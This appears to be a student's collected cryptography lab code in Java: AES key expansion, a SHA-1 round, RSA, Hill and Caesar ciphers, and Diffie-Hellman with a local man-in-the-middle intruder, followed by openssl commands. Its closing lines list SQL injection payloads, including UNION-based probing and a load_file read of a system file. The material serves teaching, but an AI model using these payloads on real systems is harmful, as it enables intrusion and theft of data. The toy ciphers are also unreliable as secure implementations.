AES:

import java.util.Scanner;

public class Aes {

static int key[][] = new int[4][44];

static int mainkey[][] = { {0x2b, 0x28, 0xab, 0x9}, {0x7e, 0xae, 0xf7, 0xcf}, {0x15, 0xd2, 0x15, 0x4f}, {0x16, 0xa6, 0x88, 0x3c} };

static final int[][] sbox = {

{0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76},

{0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0},

{0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15},

{0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75},

{0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84},

{0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf},

{0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8},

{0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2},

{0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73},

{0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb},

{0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79},

{0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08},

{0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a},

{0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e},

{0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf},

{0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16}

};

public static final int[][] rcon = {

{0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36},

{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00},

{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00},

{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}

};

static void display(){

for (int i=0; i<key.length; i++){

for (int j=0; j < key[0].length; j++){

System.out.print(Integer.toHexString(key[i][j]) + " ");

}

System.out.println();

}

}

static void notQuadKey(int c){

for (int i=0; i<4; i++){

key[i][c] = key[i][c - 1] ^ key[i][c - 4];

}

}

static void quadKey(int c){

for (int i=0; i<4; i++){

String split;

if (i == 3)

split = Integer.toHexString(key[0][c-1]);

else

split = Integer.toHexString(key[i+1][c-1]);

if (split.length() == 1){

split = "0" + split.charAt(0);

}

int row = Integer.parseInt(split.charAt(0) + "", 16);

int col = Integer.parseInt(split.charAt(1) + "", 16);

key[i][c] = sbox[row][col] ^ rcon[i][(c/4) - 1] ^ key[i][c-4];

}

}

public static void main(String[] args) {

Scanner sc = new Scanner(System.in);

for (int i=0; i< mainkey.length; i++){

for (int j=0; j< mainkey[0].length; j++){

key[i][j] = mainkey[i][j];

}

}

int count = 1;

for (int j=4; j<key[0].length; j++){

if (j % 4 == 0)

quadKey(j);

else

notQuadKey(j);

if (j % 4 == 3){

System.out.println("\_\_\_\_\_\_\_ ROUND " + count++ + " \_\_\_\_\_\_\_");

display();

}

}

}

}

SHA:

import java.util.Scanner;

public class Main{

public Main() throws Exception {

long arr[]={0x67452301L,0xefcdab89L,0x98badcfeL,0x10325476L,0xc3d2e1f0L};

long a = 0x67452301L;

long b = 0xefcdab89L;

long c = 0x98badcfeL;

long d = 0x10325476L;

long e = 0xc3d2e1f0L;

Scanner ip=new Scanner(System.in);

String text;

System.out.print("enter the word: ");

text = ip.nextLine();

System.out.printf("initial values,\n a=%h\n b=%h\n c=%h\n d=%h\n e=%h\n",arr[0],arr[1],arr[2],arr[3],arr[4]);

String sub\_text=text.substring(0,4).toUpperCase();

long ft=((b&c)|((~b)&d));

long r1 =(long)(Math.pow(2,30)\*Math.sqrt(2));

String word="";

for(int i=0;i<4;i++){

word+= Integer.toHexString(sub\_text.charAt(i));

}

long wt=Long.parseLong(word,16);

String temp=Long.toHexString(e+ft);

e=Long.parseLong(temp.substring(temp.length()-8),16);

a=circularshift(a,5);

arr[1]=circularshift(arr[1],30);

temp=Long.toHexString(e+a);

e=Long.parseLong(temp.substring(temp.length()-8),16);

temp=Long.toHexString(e+wt);

e=Long.parseLong(temp.substring(temp.length()-8),16);

temp=Long.toHexString(e+r1);

e=Long.parseLong(temp.substring(temp.length()-8),16);

arr[4]=arr[3];

arr[3]=arr[2];

arr[2]=arr[1];

arr[1]=arr[0];

arr[0]=e;

System.out.printf("After first sequence in round,\n a=%h\n b=%h\n c=%h\n d=%h\n e=%h\n",arr[0],arr[1],arr[2],arr[3],arr[4]);

}

public static long circularshift(long val,int count){

String x=Long.toBinaryString(val);

if(x.length()<32){

x="0".repeat(32-x.length())+x;

}

x=x.substring(count)+x.substring(0,count);

String x1="";

for(int i=0;i<x.length();i=i+4){

x1 +=Integer.toHexString(Integer.parseInt(x.substring(i,i+4),2));

}

return Long.parseLong(x1,16);

}

public static void main(String[]args)throws Exception{

new Main();

}

}

PASSWORD

import java.util.\*;

import java.security.MessageDigest;

public class Main {

public static ArrayList<String> combinations() {

String alpha= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";

ArrayList <String> combo= new ArrayList <String>();

for(int i=0;i<26;i++)

{

for(int j=0;j<26;j++)

{

combo.add(alpha.charAt(i)+""+alpha.charAt(j));

}

}

System.out.println("Combinations: "+combo);

return(combo);

}

public static String getSHA256Hash(String data) {

String result = null;

try {

MessageDigest digest = MessageDigest.getInstance("SHA-256");

byte[] hash = digest.digest(data.getBytes("UTF-8"));

return bytesToHex(hash);

}catch(Exception ex) {

ex.printStackTrace();

}

return result;

}

private static final char[] HEX\_ARRAY = "0123456789ABCDEF".toCharArray();

public static String bytesToHex(byte[] bytes) {

char[] hexChars = new char[bytes.length \* 2];

for (int j = 0; j < bytes.length; j++) {

int v = bytes[j] & 0xFF;

hexChars[j \* 2] = HEX\_ARRAY[v >>> 4];

hexChars[j \* 2 + 1] = HEX\_ARRAY[v & 0x0F];

}

return new String(hexChars);

}

public static void main(String[] args) {

ArrayList <String> tohash= combinations();

Hashtable <String,String> hash = new Hashtable<String,String>();

for(int i=0;i<tohash.size();i++)

{

hash.put(getSHA256Hash(tohash.get(i)),tohash.get(i));

}

System.out.println(hash);

System.out.println(hash.size());

System.out.println("Enter hash : ");

Scanner ip =new Scanner(System.in);

String inphash = ip.next();

System.out.println("The password is : ");

System.out.println(hash.get(inphash));

}

}

RSA:

import java.math.BigInteger;

import java.util.Random;

import java.util.Scanner;

public class Rsaa {

static BigInteger d, pi, n, e;

public static void main(String[] args) {

Scanner sc = new Scanner(System.in);

Method obj = new Method();

Random random = new Random();

while (true){

System.out.println("\nEnter choice:\n0. Exit\n1. key generation\n2. Encryption\n3. Decryption\n");

int choice = sc.nextInt();

if (choice == 0)

break;

else if (choice == 1){

e = BigInteger.valueOf(2);

System.out.print("Enter a prime number(-1 for auto-generation): ");

String s1 = sc.next();

BigInteger p = new BigInteger(s1);

if (p.compareTo(BigInteger.valueOf(-1))==0) {

System.out.print("Enter bit length: ");

int length = sc.nextInt(); //400 bits - 100 length

p = BigInteger.probablePrime(length, random);

}

System.out.print("Enter another prime number(-1 for auto-generation): ");

String s2 = sc.next();

BigInteger q = new BigInteger(s2);

if (q.compareTo(BigInteger.valueOf(-1))==0) {

System.out.print("Enter bit length: ");

int length = sc.nextInt(); //400 bits - 100 length

q = BigInteger.probablePrime(length, random);

}

System.out.println("P: " + p);

System.out.println("Q: " + q);

n = p.multiply(q);

pi = (p.subtract(BigInteger.valueOf(1))).multiply(q.subtract(BigInteger.valueOf(1)));

while (e.compareTo(pi) < 0){

obj.gcd(e, pi);

if (Method.gcd.compareTo(BigInteger.valueOf(1)) == 0)

break;

else

e = e.add(BigInteger.valueOf(1));

}

d = Method.inverse;

System.out.println("public key: " + e);

System.out.println("private key: " + d);

}

else if (choice == 2){

System.out.print("Enter a word: ");

String word = sc.next();

BigInteger temp[] = obj.charEnc(word);

BigInteger enc[] = obj.encrypt(temp, e, n);

System.out.print("CIPHERED TEXT: ");

obj.display(enc);

}

else if (choice == 3){

System.out.print("Enter size of array: ");

int size = sc.nextInt();

BigInteger arr[] = new BigInteger[size];

for (int i=0; i<size; i++){

System.out.print("Enter element: ");

String inp = sc.next();

arr[i] = new BigInteger(inp);

}

BigInteger dec[] = obj.encrypt(arr, d, n);

System.out.print("DECIPHERED TEXT: ");

obj.display(dec);

}

}

}

}

class Method{

static final String alpha = "abcdefghijklmnopqrstuvwxyz";

static BigInteger gcd, inverse;

public void gcd(BigInteger e, BigInteger pi){

BigInteger a = pi;

BigInteger b = e;

BigInteger t1 = BigInteger.valueOf(0);

BigInteger t2 = BigInteger.valueOf(1);

while ((b.compareTo(BigInteger.valueOf(0))) != 0){

BigInteger q = a.divide(b);

BigInteger r = a.mod(b);

a = b;

b = r;

BigInteger t = t1.subtract(q.multiply(t2));

t1 = t2;

t2 = t;

}

gcd = a;

if (gcd.compareTo(BigInteger.valueOf(1)) == 0){

if (t1.compareTo(BigInteger.valueOf(0)) == -1)

inverse = t1.add(pi);

else

inverse = t1;

}

}

public BigInteger[] charEnc(String s){

BigInteger arr[] = new BigInteger[s.length()];

for (int i=0; i<s.length(); i++){

arr[i] = BigInteger.valueOf(alpha.indexOf(s.charAt(i)));

}

System.out.print("PLAIN TEXT: ");

display(arr);

return arr;

}

public BigInteger[] encrypt(BigInteger arr[], BigInteger e, BigInteger n){

for (int i=0; i<arr.length; i++){

BigInteger product = arr[i];

arr[i] = arr[i].modPow(e, n);

}

return arr;

}

public void display(BigInteger arr[]){

for (int i=0; i<arr.length; i++){

System.out.print(arr[i] + " ");

}

System.out.println();

}

}

Hillcipher

import java.util.Scanner;

import java.math.\*;

public class HillCipher {

int[][] matMulti(int a[][], int b[][], int r1, int r2, int c1, int c2, int m){

int[][] c = new int[r1][c2];

for(int i=0;i<r1;i++){

for(int j=0;j<c2;j++){

for(int k=0;k<r2;k++){

c[i][j] += a[i][k] \* b[k][j];

c[i][j] = c[i][j]%m;

}

}

}

return c;

}

int[][] numEncod(String s, int rp, int cp){

int res[][] = new int[rp][cp];

int k = 0;

for(int j=0;j<cp;j++){

for (int i=0;i<rp;i++){

if(k < s.length()){

res[i][j] = s.charAt(k)-97;

}

else{

res[i][j] = 'x' - 97;

}

k++;

}

}

return res;

}

String charEncod(int[][] ct, int rk, int cp){

String ctxt = "";

for(int j=0;j<cp;j++){

for (int i=0;i<rk;i++){

char c = (char) (ct[i][j] + 97);

ctxt += c;

}

}

return ctxt;

}

int deter(int[][] k, int m){

int det = ((k[0][0]\*k[1][1]) - (k[1][0]\*k[0][1]));

if (det<0) {

return det+m;

}

return det%m;

}

int multInv(int d, int m){

int t, t1=0, t2=1, r=0, q=0;

int a=m, b=d;

while (b!=0){

r=a%b;

q=a/b;

t=t1-(q\*t2);

t1=t2;

t2=t;

a=b;

b=r;

}

if(t1>=0)

return t1;

else

return (t1+m);

}

int[][] adj(int[][] k, int m){

int temp;

temp = k[0][0];

k[0][0] = k[1][1]%m;

k[1][1] = temp%m;

k[0][1] = -1\*k[0][1]+m;

k[1][0] = -1\*k[1][0]+m;

return k;

}

int[][] scalarMulti(int detIn, int adjo[][], int rk, int ck, int m){

int[][] mult = new int[rk][ck];

for(int i=0;i<rk;i++){

for (int j=0;j<ck;j++){

mult[i][j] = (detIn \* adjo[i][j])%m;

}

}

return mult;

}

int[][] keyInv(int[][] k, int rk, int ck, int m){

int det = deter(k, m);

int detInv = multInv(det, m);

int adjo[][] = adj(k, m);

int[][] sMulti = scalarMulti(detInv, adjo, rk, ck, m);

return sMulti;

}

void print(int arr[][], int r, int c){

for(int i = 0; i < r; i++){

for (int j = 0; j < c; j++){

System.out.print( arr[i][j] + " ");

}

System.out.println();

}

}

public static void main(String[] args){

Scanner ip = new Scanner(System.in);

int rk = 2;

int ck = 2;

int m = 26;

int[][] k = new int[rk][ck];

HillCipher obj = new HillCipher();

System.out.println("1. Encryption \n 2. Decryption \n3.Known ptct \n Enter your choice: ");

int ch = ip.nextInt();

if(ch==1){

System.out.println("Enter 2x2 key matrix: ");

for(int i=0;i<rk;i++) {

for (int j=0; j<ck; j++) {

k[i][j] = ip.nextInt();

}

}

System.out.println("Enter Plain Text: ");

String plain = ip.next();

int rp = ck;

int cp = (int) Math.ceil((double) plain.length()/rp);

int[][] ptn = obj.numEncod(plain, rp, cp);

int[][] ctn = obj.matMulti(k, ptn, rk, rp, ck, cp, m);

System.out.println("cipher text : " + obj.charEncod(ctn, rk, cp));

}

if(ch==2){

System.out.println("Enter 2x2 key matrix: ");

for(int i=0;i<rk;i++) {

for (int j=0; j<ck; j++) {

k[i][j] = ip.nextInt();

}

}

System.out.println("Enter Cipher Text: ");

String cipher = ip.next();

int[][] kinv = obj.keyInv(k, rk, ck, m);

int rc = rk;

int cc = (int) Math.ceil((double) cipher.length()/rc);

int[][] ctt = obj.numEncod(cipher, rc, cc);

int[][] ptn = obj.matMulti(kinv, ctt, rk, rc, ck, cc, m);

System.out.println("Plain text : "+obj.charEncod(ptn, rk, cc));

}

if(ch==3){

int rc = rk, rp = ck;

String plain, cipher;

System.out.print("Enter Plain text : ");

plain = ip.next();

System.out.print("Enter Cipher text : ");

cipher = ip.next();

int cp = (int) Math.ceil((double) plain.length()/rp);

int cc = (int) Math.ceil((double) cipher.length()/rc);

int[][] ctn = obj.numEncod(cipher, rc, cc);

int[][] ptn = obj.numEncod(plain, rp, cp);

int[][] kinv = obj.keyInv(ctn, rc, cc, m);

int[][] res = obj.matMulti(ptn, kinv, rk, rc, ck, cc, m);

int[][] key = obj.keyInv(res, rc, cc, m);

System.out.println("Key Inverse matrix: ");

obj.print(kinv, rc, cc);

System.out.println("Key matrix: ");

obj.print(key, rc, cc);

}

}

}

CAESAR CIPHER:

ServerCipher:

import java.net.\*;

import java.io.\*;

import java.util.\*;

public class ServerCipher

{

static String alpha = "abcdefghijklmnopqrstuvwxyz";

public static String encode (String P, int k)

{

P = P.toLowerCase();

String C="";

for(int i=0; i<P.length(); i++)

{

int pos = alpha.indexOf(P.charAt(i));

int key = (k+pos)%26;

char x = alpha.charAt(key);

C += x;

}

return(C);

}

public static String decode (String C, int k)

{

C = C.toLowerCase();

String P="";

for(int i=0; i<C.length(); i++)

{

int pos = alpha.indexOf(C.charAt(i));

int key = (pos-k)%26;

if(key<0)

{

key = alpha.length() + key;

}

char x = alpha.charAt(key);

P += x;

}

return(P);

}

public static void main(String[] args)

{

try

{

ServerSocket s = new ServerSocket(3300);

System.out.println("serverCipher started");

Socket socket = s.accept();

System.out.println("Client accepted");

DataOutputStream dos = new DataOutputStream(socket.getOutputStream());

DataInputStream dis = new DataInputStream(socket.getInputStream());

int ch = dis.readInt();

if (ch==1)

{

String P = dis.readUTF();

int k = dis.readInt();

dos.writeUTF(encode(P, k));

}

if (ch==2)

{

String C = dis.readUTF();

int k = dis.readInt();

dos.writeUTF(decode (C, k));

}

if (ch==3)

{

String C = dis.readUTF();

for (int i=0;i<26; i++)

{

System.out.println("key: "+i+" Plain text: "+ decode(C, i));

}

}

if (ch==4)

{

String C = dis.readUTF();

int[] f = new int[C.length()];

char max = C.charAt(0);

char cipher[] = C.toCharArray();

int i, j, m, k, flag;

flag = dis.readInt();

for (i=0; i<cipher.length; i++)

{

f[i] = 1;

for (j = i+1; j<cipher.length; j++)

{

if(cipher[i]==cipher[j] && cipher[i]!='0')

{

f[i]++;

cipher[j]='0';

}

}

if (cipher[i]=='0')

{

f[i]=0;

}

}

int c=0;

while (flag==0)

{

m=f[0];

c++;

for (i=0; i<f.length; i++)

{

if (m<f[i])

{

m = f[i];

max = cipher[i];

}

}

System.out.println("The most frequently occuring element is: "+ max+" with frequency count: "+ m);

String P = dis.readUTF();

k = (alpha.indexOf(max)-alpha.indexOf(P))%26;

dos.writeUTF(decode(C, k));

flag = dis.readInt();

if (c!=0)

{

for(i=0; i<cipher.length; i++)

{

if (cipher[i]==max)

{

f[i]=0;

break;

}

}

}

}

}

socket.close();

}

catch(IOException e)

{

System.out.println(e);

}

}

}

ClientCipher

import java.io.\*;

import java.net.\*;

import java.util.\*;

public class ClientCipher

{

public ClientCipher(String address,int port)

{

try

{

Socket socket = new Socket(address,port);

System.out.println("Server connected!");

Scanner ip = new Scanner(System.in);

DataInputStream dis = new DataInputStream(socket.getInputStream());

DataOutputStream dos = new DataOutputStream(socket.getOutputStream());

System.out.println("1. Encryption\n2. Decryption\n3. Brute Force\n4. Frequency analysis attack");

System.out.print("Enter your option: "); //getting input from user

int x = ip.nextInt();

dos.writeInt(x);

if(x==1)

{

System.out.println("ENCRYPTION!");

System.out.print("Enter plain text: ");

String P = ip.next();

System.out.print("Enter key: ");

int k = ip.nextInt();

dos.writeUTF(P);

dos.writeInt(k);

String res = dis.readUTF();

System.out.println("Cipher Text: "+res);

}

if(x==2)

{

System.out.println("DECRYPTION!");

System.out.print("Enter Cipher text: ");

String C = ip.next();

System.out.print("Enter key: ");

int k = ip.nextInt();

dos.writeUTF(C);

dos.writeInt(k);

String res = dis.readUTF();

System.out.println("Plain Text: "+res);

}

if (x==3)

{

System.out.println("BRUTE FORCE ATTACK!");

System.out.print("Enter Cipher text: ");

String C = ip.next();

dos.writeUTF(C);

}

if (x==4)

{

System.out.println("FREQUENCY ANALYSIS ATTACK!");

System.out.print("Enter Cipher text: ");

String C = ip.next();

dos.writeUTF(C);

String s, res;

int f=0;

dos.writeInt(f);

while(f==0)

{

System.out.print("Enter the (next) most frequently occuring in Plain Text: ");

s = ip.next();

dos.writeUTF(s);

res = dis.readUTF();

System.out.println("Plain Text: "+res);

System.out.print("Is this the required plain text? (Enter '1' for yes and '0' for no): ");

f = ip.nextInt();

dos.writeInt(f);

}

}

}

catch(Exception e)

{

System.out.println(e);

}

}

public static void main(String[] args)

{

ClientCipher ClientCipher=new ClientCipher("localhost", 3300);

}

}

DIFFIE HELLMAN

Client:

package diffie;

import java.util.Scanner;

import java.math.BigInteger;

import java.util.Random;

import java.util.ArrayList;

import java.io.DataOutputStream;

import java.io.DataInputStream;

import java.net.Socket;

public class ClientDiffie {

static DataInputStream in;

static DataOutputStream out;

static Socket s;

static ArrayList primitiveRoots(BigInteger q){

BigInteger pi = q.subtract(BigInteger.ONE);

ArrayList<BigInteger> powers = new ArrayList<BigInteger>();

ArrayList<BigInteger> roots = new ArrayList<BigInteger>();

for (int i=2; i<100; i++){

if (BigInteger.valueOf(i).isProbablePrime(1) && pi.mod(BigInteger.valueOf(i)).compareTo(BigInteger.ZERO) == 0){

powers.add(pi.divide(BigInteger.valueOf(i)));

}

}

for (int i=2; i<100; i++){

int flag = 0;

for (BigInteger j : powers){

if (BigInteger.valueOf(i).modPow(j, q).compareTo(BigInteger.ONE) == 0){

flag = 1;

break;

}

}

if (flag == 0)

roots.add(BigInteger.valueOf(i));

}

return roots;

}

public ClientDiffie(String ip, int port) throws Exception{

Scanner sc = new Scanner(System.in);

while (true){

while (true){

try{

s = new Socket(ip, port);

break;

}

catch(Exception e){continue;}

}

in = new DataInputStream(s.getInputStream());

out = new DataOutputStream(s.getOutputStream());

System.out.println("Enter operation\n1.key exchange\n2.discrete log\n3.man in middle\n");

int choice = sc.nextInt();

out.writeUTF(choice + "");

if (choice == 1){

BigInteger q = BigInteger.probablePrime(400, new Random());

System.out.println("PRIME NUMBER: " + q);

ArrayList roots = primitiveRoots(q);

System.out.println("THE PRIMITIVE ROOTS ARE: ");

System.out.println(roots);

System.out.println("Select any one of the roots: ");

BigInteger root = new BigInteger(sc.next());

out.writeUTF(q + "");

out.writeUTF(root + "");

System.out.println("Enter xa: ");

BigInteger xa = new BigInteger(sc.next());

BigInteger ya = root.modPow(xa, q);

out.writeUTF(ya + "");

BigInteger yb = new BigInteger(in.readUTF());

BigInteger key = yb.modPow(xa, q);

System.out.println("key: " + key);

}

else if (choice == 2){

BigInteger q = BigInteger.probablePrime(400, new Random());

// BigInteger q = new BigInteger(sc.next());

ArrayList roots = primitiveRoots(q);

System.out.println("Roots are: " + roots);

BigInteger root = new BigInteger(sc.next());

System.out.println("Enter xa: ");

BigInteger xa = new BigInteger(sc.next());

BigInteger ya = root.modPow(xa, q);

out.writeUTF(ya + "");

out.writeUTF(q + "");

out.writeUTF(root + "");

System.out.println("q: " + q);

System.out.println("ya: " + ya);

}

else if (choice == 3){

s.close();

s = new Socket(ip, 3500);

in = new DataInputStream(s.getInputStream());

out = new DataOutputStream(s.getOutputStream());

BigInteger q = BigInteger.probablePrime(400, new Random());

System.out.println("PRIME NUMBER: " + q);

ArrayList roots = primitiveRoots(q);

System.out.println("THE PRIMITIVE ROOTS ARE: ");

System.out.println(roots);

System.out.println("Select any one of the roots: ");

BigInteger root = new BigInteger(sc.next());

out.writeUTF(q + "");

out.writeUTF(root + "");

System.out.println("Enter xa: ");

BigInteger xa = new BigInteger(sc.next());

BigInteger ya = root.modPow(xa, q);

out.writeUTF(ya + "");

BigInteger yc = new BigInteger(in.readUTF());

BigInteger key = yc.modPow(xa, q);

System.out.println("key: " + key);

Thread.sleep(2000);

}

}

}

public static void main(String[] args) throws Exception{

new ClientDiffie("localhost", 4200);

}

}

Intruder

package diffie;

import java.util.Scanner;

import java.math.BigInteger;

import java.util.Random;

import java.util.ArrayList;

import java.io.DataOutputStream;

import java.io.DataInputStream;

import java.net.Socket;

import java.net.ServerSocket;

public class IntruderDiffie{

ServerSocket ss;

Socket s;

DataOutputStream out;

DataInputStream in;

public IntruderDiffie(String ip, int port1, int port2) throws Exception{

while (true){

ss = new ServerSocket(port1);

Scanner sc = new Scanner(System.in);

s = ss.accept();

out = new DataOutputStream(s.getOutputStream());

in = new DataInputStream(s.getInputStream());

BigInteger q = new BigInteger(in.readUTF());

BigInteger root = new BigInteger(in.readUTF());

System.out.println("q: " + q);

System.out.println("root: " + root);

System.out.println("Enter xc: ");

BigInteger xc = new BigInteger(sc.next());

BigInteger yc = root.modPow(xc, q);

BigInteger ya = new BigInteger(in.readUTF());

out.writeUTF(yc + "");

BigInteger key = ya.modPow(xc, q);

System.out.println("key: " + key);

s.close();

ss.close();

s = new Socket(ip, port2);

System.out.println("blaa");

out = new DataOutputStream(s.getOutputStream());

in = new DataInputStream(s.getInputStream());

out.writeUTF(q + "");

out.writeUTF(root + "");

System.out.println("Enter xd: ");

BigInteger xd = new BigInteger(sc.next());

BigInteger yd = root.modPow(xd, q);

out.writeUTF(yd + "");

BigInteger yb = new BigInteger(in.readUTF());

key = yb.modPow(xd, q);

System.out.println("key: " + key);

}

}

public static void main(String[] args) throws Exception{

new IntruderDiffie("localhost", 3500, 4200);

}

}

Server:

package diffie;

import java.util.Scanner;

import java.math.BigInteger;

import java.util.Random;

import java.util.ArrayList;

import java.io.DataOutputStream;

import java.io.DataInputStream;

import java.net.Socket;

import java.net.ServerSocket;

public class ServerDiffie {

ServerSocket ss;

Socket s;

DataOutputStream out;

DataInputStream in;

public ServerDiffie(int port) throws Exception{

Scanner sc = new Scanner(System.in);

ss = new ServerSocket(port);

while (true){

s = ss.accept();

out = new DataOutputStream(s.getOutputStream());

in = new DataInputStream(s.getInputStream());

int choice = Integer.parseInt(in.readUTF());

if (choice == 1){

BigInteger q = new BigInteger(in.readUTF());

BigInteger root = new BigInteger(in.readUTF());

System.out.println("q: " + q);

System.out.println("root: " + root);

System.out.println("Enter xb: ");

BigInteger xb = new BigInteger(sc.next());

BigInteger yb = root.modPow(xb, q);

BigInteger ya = new BigInteger(in.readUTF());

out.writeUTF(yb + "");

BigInteger key = ya.modPow(xb, q);

System.out.println("key: " + key);

}

else if (choice == 2){

BigInteger ya = new BigInteger(in.readUTF());

BigInteger q = new BigInteger(in.readUTF());

BigInteger root = new BigInteger(in.readUTF());

int flag = 0;

for (BigInteger i= BigInteger.ZERO; i.compareTo(q) == -1; i = i.add(BigInteger.ONE)){

if (root.modPow(i, q).compareTo(ya) == 0){

System.out.println("xa: " + i);

flag = 1;

break;

}

}

if (flag == 0)

System.out.println("None");

}

else if (choice == 3){

s = ss.accept();

out = new DataOutputStream(s.getOutputStream());

in = new DataInputStream(s.getInputStream());

BigInteger q = new BigInteger(in.readUTF());

BigInteger root = new BigInteger(in.readUTF());

System.out.println("q: " + q);

System.out.println("root: " + root);

System.out.println("Enter xb: ");

BigInteger xb = new BigInteger(sc.next());

BigInteger yb = root.modPow(xb, q);

BigInteger yd = new BigInteger(in.readUTF());

out.writeUTF(yb + "");

BigInteger key = yd.modPow(xb, q);

System.out.println("key: " + key);

}

}

}

public static void main(String[] args) throws Exception{

new ServerDiffie(4200);

}

}

SSL:

**AES**

openssl aes-128-cbc -e -in plaintxt.txt -out ciphertxt.bin -k "password" -nosalt

openssl aes-128-cbc -d -in ciphertxt.bin -out pt.txt -k "password" –nosalt

**RSA:**

openssl genrsa –out privatekey.pem

openssl rsa -pubout -in privatekey.pem -out publickey.pem

openssl rsa -text -in privatekey.pem

**RSA ENCRYPTION**

openssl rsautl -encrypt -in plaintxt.txt -pubin -inkey publickey.pem -out crsa.bin

**RSA DECRYPTION:**

openssl rsautl -decrypt -in crsa.bin -inkey privatekey.pem -out prsa.txt

**SHA:**

openssl md5 plain.txt

openssl SHA256 plaintxt.txt

**DIGITAL SIGNATURE:**

openssl dgst -sha1 -sign privatekey.pem -out s.bin plaintxt.txt

openssl dgst -sha1 -verify publickey.pem -signature s.bin plaintxt.txt

sql inj

1

1’ OR ‘1’=’1

a’ ORDER BY 1;#

‘union select null,@@hostname#

‘union select load\_file(‘/etc/password’),null#

openssl-1.1\x64\bin>openssl aes-128-cbc -d -in cipher1.bin -out pt.txt -k "password" – nosalt